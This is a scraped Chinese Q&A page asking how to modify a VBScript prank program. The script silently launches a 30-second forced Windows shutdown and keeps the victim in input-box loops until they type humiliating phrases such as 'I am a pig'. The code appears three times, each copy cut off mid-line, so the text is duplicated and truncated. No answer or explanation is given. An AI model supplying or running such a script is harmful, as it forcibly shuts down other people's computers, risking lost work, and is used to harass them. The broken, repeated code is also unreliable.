UC知道一个“我是猪”的VB程序改编问题
来源：百度知道 编辑：UC知道 时间：2024/05/26 05:08:56
如题：
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 30 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试·
··"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
do while(b <> "哥哥")
b = inputbox ("再叫声哥哥听听!不叫一样关你机!快撒!说""哥哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + b,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "恩恩!不错真乖!就饶了你吧"
do while(c <> "听")
c = inputbox ("慢着!我隔壁某某说要你等哈,他说他要念首诗你听,你自己看着办吧!看你是""听"" &q
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 30 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试·
··"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
do while(b <> "哥哥")
b = inputbox ("再叫声哥哥听听!不叫一样关你机!快撒!说""哥哥"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + b,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "恩恩!不错真乖!就饶了你吧"
do while(c <> "听")
c = inputbox ("慢着!我隔壁某某说要你等哈,他说他要念首诗你听,你自己看着办吧!看你是""听"" &q
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 30 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试· "
··"" ",0 ,true
Dim a
Do While (a <> "我是猪")
a = InputBox("说我是猪,就不关机，快撒，说 ""我是猪"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛"
Do While (b <> "哥哥")
b = InputBox("再叫声哥哥听听!不叫一样关你机!快撒!说""哥哥"" ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + b, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "恩恩!不错真乖!就饶了你吧"
Do While (c <> "听")
c = inputbox ("慢着!我隔壁某某说要你等哈,他说他要念首诗你听,你自己看着办吧!看你是"